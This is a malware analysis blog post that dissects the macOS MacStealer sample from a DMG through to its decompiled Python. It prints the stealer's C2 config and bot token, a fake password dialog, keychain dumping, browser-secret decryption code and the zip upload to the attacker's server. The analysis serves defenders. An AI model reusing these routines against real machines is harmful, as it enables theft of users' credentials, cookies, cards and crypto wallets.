Understanding The Working Of Macstealer Malware

11 minute read

Introduction

In this post, we will look into MacStealer malware that was discovered by uptycs. The malware was originally written in Python and compiled to an executable using cx_Freeze. It reads browsers’ secrets and wallets data and uploads them to the attcker-controlled server.

Triage

The infection vector of this malware is a DMG file. A DMG file is a type of file format used on macOS to install software or updates.

The hash of the DMG file is 9b17aee4c8a5c6e069fbb123578410c0a7f44b438a4c988be2b65ab4296cff5e. hdiutil can be used to mount DMG files and retrieve the archived applications or files present in it.

$  hdiutil attach 9b17aee4c8a5c6e069fbb123578410c0a7f44b438a4c988be2b65ab4296cff5e                         

/dev/disk2s1        	Apple_APFS
/dev/disk3          	EF57347C-0000-11AA-AA11-0030654
/dev/disk3s1        	41504653-0000-11AA-AA11-0030654	/Volumes/weed

ls /Volumes/weed                                                                       
Applications weed.app

Here, the application is weed.app. The application is x86 based and it is signed via an ad-hoc signature.

$ file weed.app/Contents/MacOS/weed                                                              
weed.app/Contents/MacOS/weed: Mach-O 64-bit executable x86_64

$ shasum -a 256 weed.app/Contents/MacOS/weed                                                       
c34e2560ece4ff38b7077bfad2f7e8b32f73832781dba04a00f2706f300cef2f  weed.app/Contents/MacOS/weed

$ codesign -dvv weed.app/Contents/MacOS/weed                                                         
Executable=/Users/worker/work/malware/may_2023/mac_stealer/weed.app/Contents/MacOS/weed
Identifier=console-cpython-37m-darwin-55554944a3bdd3e75c2d3398b109b4ba299ab7df
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20400 size=508 flags=0x2(adhoc) hashes=9+2 location=embedded
Signature=adhoc
Info.plist=not bound
TeamIdentifier=not set
Sealed Resources=none
Internal requirements count=0 size=12

The otool utility shows information about shared libraries and frameworks:

otool -L weed.app/Contents/MacOS/weed                                                                   
weed.app/Contents/MacOS/weed:
	@executable_path/lib/Python (compatibility version 3.7.0, current version 3.7.0)
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 1953.255.0)

Here, it seems like the executable uses Python to execute some of its code. It may be possible that this malware was originally written in Python and later it was compiled into an executable using some python to executable converter utility.

The strings command prints embedded strings of the executable. These strings may reveal myriad information about the malware.

Out of memory converting arguments!
Unable to convert argument to string!
Fatal error: %s
Out of memory creating sys.path!
PATH
...
g_ExecutableDirName
_g_ExecutableName
/Users/runner/work/cx_Freeze/cx_Freeze/source/bases/
console.c
/Users/runner/work/cx_Freeze/cx_Freeze/build/temp.macosx-10.9-x86_64-cpython-37/source/bases/console.o
_main
...
_g_ExecutableName
console-cpython-37m-darwin-55554944a3bdd3e75c2d3398b109b4ba299ab7df

The strings command doesn’t list many strings. It means either strings are obfuscated or encrypted to thwart the static analysis or it is a small binary that may download and execute the second-stage payloader.

From the strings output, the string cx_Freeze standout and a quick google about it shows that cx_Freeze is a utility that creates standalone executables from Python scripts. Our initial assumption was correct, the malware was written in Python and compiled using cx_Freeze.

Analysis

To get a better idea about malware, I opened the executable in a disassembler (IDA) to do a static analysis of the code. The executable was small and it had only one function main. The main function checks the path, sets the path, initializes, and calls __startup__.init and __startup__.run.

[...]
__text:000010000356A loc_10000356A:                          ; CODE XREF: __text:0000000100003981↓j
__text:000000010000356A                 lea     rdi, [rbp-440h]
__text:0000000100003571                 lea     rsi, [rbp-850h]
__text:0000000100003578                 call    _realpath$DARWIN_EXTSN ; checks the path 
__text:000000010000357D                 test    rax, rax
[...]
__text:0000000100003651                 mov     dword ptr [rax], 1
__text:0000000100003657                 mov     rax, cs:_Py_IgnoreEnvironmentFlag_ptr
__text:000000010000365E                 mov     dword ptr [rax], 1
__text:0000000100003664                 lea     rdi, _g_ExecutableName
__text:000000010000366B                 call    _Py_SetProgramName
__text:0000000100003670                 mov     rdi, r14
__text:0000000100003673                 call    _Py_SetPath
__text:0000000100003678                 call    _Py_Initialize

_text:0000000100003696                 lea     rdi, aStartup   ; "__startup__"
__text:000000010000369D                 call    _PyImport_ImportModule
__text:00000001000036A2                 test    rax, rax
__text:00000001000036A5                 jz      loc_100003AC7
__text:00000001000036AB                 mov     r15, rax
__text:00000001000036AE                 lea     rsi, aInit      ; "init"
__text:00000001000036B5                 mov     rdi, rax
__text:00000001000036B8                 call    _PyObject_GetAttrString
__text:00000001000036BD                 test    rax, rax
__text:00000001000036C0                 jz      loc_100003AB7
__text:00000001000036C6                 mov     rbx, rax
__text:00000001000036C9                 mov     rdi, rax
__text:00000001000036CC                 xor     esi, esi
__text:00000001000036CE                 call    _PyObject_CallObject ; calls `__startup__.init`
[...]
_text:00000001000036FF loc_1000036FF:                          ; CODE XREF: __text:00000001000036F3↑j
__text:00000001000036FF                 lea     rsi, aRun       ; "run"
__text:0000000100003706                 mov     rdi, r15
__text:0000000100003709                 call    _PyObject_GetAttrString
__text:000000010000370E                 mov     r14, rax
__text:0000000100003711                 add     qword ptr [r15], 0FFFFFFFFFFFFFFFFh
__text:0000000100003715                 jnz     short loc_100003721
__text:0000000100003717                 mov     rax, [r15+8]
__text:000000010000371B                 mov     rdi, r15
__text:000000010000371E                 call    qword ptr [rax+30h]
__text:0000000100003721
__text:0000000100003721 loc_100003721:                          ; CODE XREF: __text:0000000100003715↑j
__text:0000000100003721                 test    r14, r14
__text:0000000100003724                 jz      loc_100003AC7
__text:000000010000372A                 mov     rdi, r14
__text:000000010000372D                 xor     esi, esi
__text:000000010000372F                 call    _PyObject_CallObject ; calls `__startup__.run`
__text:0000000100003734                 mov     r15, rax
__text:0000000100003737                 add     qword ptr [r14], 0FFFFFFFFFFFFFFFFh
__text:000000010000373B                 jnz     short loc_100003747

I have never analyzed cx_Freeze compiled executable before so I didn’t know where the original Python scripts exist and how it is called by the executable. To learn that I ran the executable in a debugger (lldb) and the call to __startup__.run prints the error message that the HTTP connection to api.ipify.org can’t be established. I was debugging the malware in an isolated virtual machine with no connection to the internet so an outbound connection was not possible.

* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
    frame #0: 0x000000010000372a weed`main + 746
weed`main:
->  0x10000372a <+746>: mov    rdi, r14
    0x10000372d <+749>: xor    esi, esi
    0x10000372f <+751>: call   0x100003bf4               ; symbol stub for: PyObject_CallObject
    0x100003734 <+756>: mov    r15, rax

* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
    frame #0: 0x000000010000372d weed`main + 749
weed`main:
->  0x10000372d <+749>: xor    esi, esi
    0x10000372f <+751>: call   0x100003bf4               ; symbol stub for: PyObject_CallObject
    0x100003734 <+756>: mov    r15, rax
    0x100003737 <+759>: add    qword ptr [r14], -0x1

* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
    frame #0: 0x000000010000372f weed`main + 751
weed`main:
->  0x10000372f <+751>: call   0x100003bf4               ; symbol stub for: PyObject_CallObject
    0x100003734 <+756>: mov    r15, rax
    0x100003737 <+759>: add    qword ptr [r14], -0x1
    0x10000373b <+763>: jne    0x100003747               ; <+775>

(lldb) ni
9 locations added to breakpoint 1
HTTPSConnectionPool(host='api.ipify.org', port=443): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x102e74a90>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known'))
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
    frame #0: 0x0000000100003734 weed`main + 756
weed`main:
->  0x100003734 <+756>: mov    r15, rax
    0x100003737 <+759>: add    qword ptr [r14], -0x1
    0x10000373b <+763>: jne    0x100003747               ; <+775>
    0x10000373d <+765>: mov    rax, qword ptr [r14 + 0x8]

The strings command, I ran previously, had not found the string api.ipify.org in the executable so I did grep for the string in the directory and found it in general.pyc within the data directory. The file extension pyc is the Python compiled code.

weed.app/Contents/MacOS$ grep -rn "api.ipify.org" .                
Binary file ./lib/en_data/general.pyc matches
Binary file ./lib/data/general.pyc matches

Now the question was what was the series of calls that lead to the execution of general.pyc. I tried some stuff to figure it out but it didn’t work out. Later, it clicked to me that everything getting executed should be present in the lib folder. I assumed __startup__ is a module so a file with the same name should exist in the lib folder but I didn’t find such a file in the folder. Next, I searched for the string __startup__ and found it in the library.zip file.

weed.app/Contents/MacOS$  grep -rn "__startup__" .                     
Binary file ./weed matches
Binary file ./lib/library.zip matches

The unzipped library.zip shows that it contained __startup__.pyc and a lot of other compiled Python scripts. Other files that look interesting are weed__init__.pyc and weed__main__.pyc as the prefix string weed matches the name of the executable.

ls library                                                                                                  ✔
BUILD_CONSTANTS.pyc                copyreg.pyc                        ntpath.pyc                         sre_compile.pyc
__future__.pyc                     cryptography-39.0.2.dist-info      numbers.pyc                        sre_constants.pyc
__startup__.pyc                    csv.pyc                            opcode.pyc                         sre_parse.pyc
[..]
code.pyc                           keyword.pyc                        shlex.pyc                          webbrowser.pyc
codecs.pyc                         linecache.pyc                      shutil.pyc                         weed__init__.pyc
codeop.pyc                         locale.pyc                         signal.pyc                         weed__main__.pyc

Next, I use decompyle3 to decompile pyc files and recover the original Python code.

weed.app/Contents/MacOS$ decompyle3 library/* -o lib_un_pyc  

The decompiled __startup__ file contained init and run methods. The run method uses the basename of the sys.executable, which is weed in this case, and appends __init__ and __main__. The function calls weed__init__.run method with the argument weed__main__.

# file __startup__

def run():
    """Determines the name of the initscript and execute it."""
    name = os.path.normcase(os.path.basename(sys.executable))
    if IS_WINDOWS or IS_MINGW:
        name, _ = os.path.splitext(name)
    name = name.partition('.')[0]
    if not name.isidentifier():
        for char in STRINGREPLACE:
            name = name.replace(char, '_')

    try:
        module_init = __import__(name + '__init__')
    except ModuleNotFoundError:
        files = []
        for k in __loader__._files:
            if k.endswith('__init__.pyc'):
                k = k.rpartition('__init__')[0]
                if k.isidentifier():
                    files.append(k)

        if len(files) != 1:
            raise RuntimeError(f"Apparently, the original executable has been renamed to {name!r}. When multiple executables are generated, renaming is not allowed.") from None
        name = files[0]
        module_init = __import__(name + '__init__')

    module_init.run(name + '__main__')

weed__init__.run method calls exec and executes the module passed to it as an argument. In this case, run executes weed__main__

# file weed__init__
__doc__ = '\nInitialization script for cx_Freeze. Sets the attribute sys.frozen so that\nmodules that expect it behave as they should.\n'
import sys
sys.frozen = True

def run(name):
    """Execute the main script of the frozen application."""
    code = __loader__.get_code(name)
    module_main = __import__('__main__')
    module_main.__dict__['__file__'] = code.co_filename
    exec(code, module_main.__dict__)

The weed__main__ script contains the following code:

# file weed__main__

___config__ = {
  'build_id': '4D32B7B1B7529E17F6E138C7E4146E31',
  'app_name': 'weed',
  'api_url': 'http://mac.cracked23.site',
  'popup_title': 'System Preferences',
  'popup_text': 'MacOS wants to access the System Preferences',
  'max_file_size': '100000000',
  'bot_token': '6056159172:AAEbi5hRzK-FCrLSs6JJH4cLjQMovTkPSX4',
  'bot_chat_id': '1550714282',
  'bot_channel_id': '-1001702526351'}
from en_data import Main         # ---------------> (1)
if __name__ == '__main__':
    try:
        main = Main(config=___config__)
        main.main()               # ---------------> (2)
    except Exception as e:
        try:
            print(e)
        finally:
            e = None
            del e
	    

It imports the Main module from en_data at (1) and executes the main function ((2)). If you remember, we found the URL that the executable attempting to connect was in general.pyc and the general.pyc file was also in the lib\en_data folder. Now we are making some connections.

Next, I decompiled the lib\en_data folder using decompyle3:

decompyle3 en_data/* -o en_data_decompile  

The decompiled code of the Main.main() method is as follows:

# file en_data/__init__.py

    def main(arg1):
        V = 'bot_channel_id'
        U = 'bot_chat_id'
        T = 'bot_token'
        S = 'os_version'
        R = 'build_id'
        K = 'data'
        J = 'keychain_passwords_amount'
        H = 'name'
        G = 'cookies_amount'
        F = 'cc_amount'
        E = 'passwords_amount'
        try:
            files_py = Files(max_file_size=(arg1.config['max_file_size']))
            arg1.temp_folder_path = files_py.create_temp_folder() #<---------------------- (3)
            arg1.generalInfo = General().get_general_info()  #<------------------------ (4)
	    arg1.files = files_py.get_all_files()
            for L in arg1.files.items():
                for W in L[1]:
                    files_py.copy_files_to_folder(f"'{W}'", L[0], f"{arg1.temp_folder_path}")  #<-------------------- (5)
	    
	    misc_py = Misc(arg1.temp_folder_path)
            misc_py.get_data() #<-------------------- (6)
            arg1.keychain, arg1.macpassword = Keychain(config=(arg1.config)).keychain() #<-------------------- (7)
	    if arg1.keychain:
                if arg1.macpassword:
                    arg1.generalInfo[J] = len(arg1.keychain)
                    arg1.decryption_keys = Keychain(config=(arg1.config)).get_safe_key(arg1.keychain)  #<-------------------- (8)
		            browsers_py = Browsers(arg1.decryption_keys)
                    arg1.passwords, arg1.cc, arg1.cookies, M = browsers_py.browser_data() #<-------------------- (9)
        [...]
                    wallets_py = Wallets(browsers_paths=extension_paths, temp_folder_path=(arg1.temp_folder_path), macpassword=(arg1.macpassword), passwords=(arg1.passwords))
                    all_wallets = wallets_py.get_all_wallets()  #<-------------------- (10)
            extensions_py = Extensions()
            d = extensions_py.get_all_extension_paths(extension_paths)
            for I in d:
                files_py.copy_all_files_to_folder(I['path'], I[H], f"{arg1.temp_folder_path}/browser_data/{I['browser']}/{I['profile']}/extensions/")

            arg1.generalInfo['macpassword'] = arg1.macpassword
            files_py.create_txt_file_from_dict(arg1.generalInfo, 'general_info', arg1.temp_folder_path)
            arg1.zip_file_path = files_py.create_zip_file(arg1.temp_folder_path, arg1.generalInfo[H])
            e = {R: arg1.config[R], 'buildname': arg1.config['app_name'], H: arg1.generalInfo[H], 'wallets': all_wallets if all_wallets else [], 'os': arg1.generalInfo['os'], S: arg1.generalInfo[S], 'ip': arg1.generalInfo['ip'], J: arg1.generalInfo[J], E: arg1.generalInfo[E], F: arg1.generalInfo[F], G: arg1.generalInfo[G], T: arg1.config[T], U: arg1.config[U], V: arg1.config[V]}
            print(files_py.upload_zip_file(arg1.config['api_url'], f"{arg1.zip_file_path}", e))            #<-------------------- (11)
                   

Main.main() creates a temp folder with a random name at (3). At (4), General().get_general_info() returns a dictionary containing platform name, os name, os version, and IP address.

At (4), files_py.get_all_files() gets the files with the following extensions from Desktop, Documents, Downloads, Movies, Music, Pictures, and Public folders and copies them to the temp folder:

# file en_data/files.py 
  A.support_file_extensions = [
         '.txt','.doc','.docx','.pdf','.xls','.xlsx','.ppt','.pptx','.jpg','.png','.bmp','.mp3','.zip','.rar','.py','db','.csv','.jpeg']

At (6) Misc.get_data() is called which copies tdata files of the Telegram application and the default keychain file to the temp directory:

# endata/misc.py
[...]
            A.tg_path = glob.glob(f"{A.app_data_path}/Telegram Desktop/tdata")[0]
            A.files.copy_all_files_to_folder(f"{A.tg_path}", 'Telegram', f"{A.temp_folder_path}")
[...]

            A.keychain_path = subprocess.check_output('security default-keychain', shell=_A).decode('utf-8').strip().replace('"', '')
            A.files.copy_single_file_to_folder(f"{A.keychain_path}", A.keychain_path.split('/')[-1], f"{A.temp_folder_path}")
            return _A
            A.files.copy_all_files_to_folder(f"{A.tg_path}", 'Telegram', f"{A.temp_folder_path}")
[...]

At (7), ` Keychain.keychain() is called. It first uses AppleScripts` to display a dialogue box to trick the affected user to reveal their password and uses the password to dump all generic passwords stored in the default keychain.

# file keychain.py
[...]
                    osascript_var = 'osascript -e \'display dialog "{message}" with title "{title}" with icon caution default answer "" with hidden answer\' '
                    security_cmd = 'security list-keychains'
                    osascript_var = osascript_var.format(message=(A.popup_text), title=(A.popup_title))
                    osascript_output = subprocess.check_output(osascript_var, shell=G)
                    if not osascript_output or osascript_output == '':
                        continue
                    else:
                        user_password = osascript_output.decode(_D).split('text returned:')[1].strip().replace('\n', '')
                    if not user_password or user_password == '':
                        continue
                    else:
                        security_cmd_output = subprocess.check_output('security default-keychain', shell=G)
                        security_cmd_output = security_cmd_output.decode(_D).strip().replace('"', '')
                        I = chainbreaker.Chainbreaker(security_cmd_output, unlock_password=user_password)
                        C = I
     [...]

            A.passwords = C.dump_generic_passwords()
            return [A.passwords, user_password]
	    

At (8), Keychain.get_safe_key() iterates through the generic password to find browsers’ safe storage passwords. These passwords may be used to steal and decrypt credentials stored by browsers.

# file keychain.py
[...]
        B.decryption_keys = [
         {A: 'amigo', _A: 'Amigo Safe Storage', _B: _C}, {A: 'torch', _A: 'Torch Safe Storage', _B: _C}, {A: 'kometa', _A: 'Kometa Safe Storage', _B: _C}, {A: 'orbitum', _A: 'Orbitum Safe Storage', _B: _C}, {A: 'cent-browser', _A: 'CentBrowser Safe Storage', _B: _C}, {A: '7star', _A: '7Star Safe Storage', _B: _C}, {A: 'sputnik', _A: 'Sputnik Safe Storage', _B: _C}, {A: 'vivaldi', _A: 'Vivaldi Safe Storage', _B: _C}, {A: 'google-chrome-sxs', _A: D, _B: _C}, {A: 'google-chrome', _A: D, _B: _C}, {A: 'epic-privacy-browser', _A: 'Epic Privacy Browser Safe Storage', _B: _C}, {A: 'microsoft-edge', _A: 'Microsoft Edge Safe Storage', _B: _C}, {A: 'uran', _A: 'uCozMedia Safe Storage', _B: _C}, {A: 'yandex', _A: 'Yandex Safe Storage', _B: _C}, {A: 'brave', _A: 'Brave Safe Storage', _B: _C}, {A: 'Iridium', _A: 'Iridium Safe Storage', _B: _C}, {A: 'Edge', _A: 'Edge Safe Storage', _B: _C}]
[...]	 
 def get_safe_key(A, passwords):
        for password in passwords:
            for decryption_key in A.decryption_keys:
                if password.PrintName.decode(_D) == decryption_key[_A]:
                    decryption_key[_B] = password.password

        return A.decryption_keys
[...]

At (9), Browsers.browser_data() reads browser stored credentials, credit card details, and cookies from ~/Library/Application\ Support/{Browser_name}/Default/Login\ Data, ~/Library/Application\ Support/{Browser_name}/Default/Web\ Data, and ~/Library/Application\ Support/{Browser_name}/Default/Cookies respectively. Note that, login password, credit card number, and cookies values are stored in the encrypted format. It uses the corresponding browser keys obtained using keychain.py to decrypt the encrypted data.

I found the decryption quite interesting. Here, encrypted is cipher text that the malware decrypt using the openssl command.

# file en_data/browser.py

    def decrypter(self, encrypted, safe_storage_key):
        cipher_text = encrypted
        try:
            C = ''.join(('20', '20', '20', '20', '20', '20', '20', '20', '20', '20',
                         '20', '20', '20', '20', '20', '20'))
            D = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]
            E = binascii.hexlify(D)
            cipher_text_encoded = base64.b64encode(cipher_text[3:])
            try:
                G = "openssl enc -base64 -d -aes-128-cbc -iv '{}' -K {} <<< {} 2>/dev/null".format(C, E.decode(__utf8), cipher_text_encoded.decode(__utf8))
                B = subprocess.check_output(G, shell=True)
            except subprocess.CalledProcessError:
                B = cipher_text

The initialization vector is 20202020202020202020202020202020 and the 16-byte decryption key is derived from the safe_storage_key using the PBKDF2 algorithm with SHA1 as the hash function, a salt of saltysalt', and 1003 iterations of the hash function. I don’t know how the malware author come up with these values but it works and successfully decrypts the stored encrypted text.

It copies crypto wallet securely stored data (at (10)) to the temp folder. Next, it zips the temp folder which contains browsers’ secret data, wallet data, the default keychain, passwords, and other sensitive information and uploads it to the server.

Conclusion

I wrote the macos_browsers_secrets_stealer script that utilizes the same method used by macstealer Malware to steal browser secrets and dumps them in CSV files. If you are interested in Mac malware, Patrick Wardle blog post and book are great resources for learning.

Updated: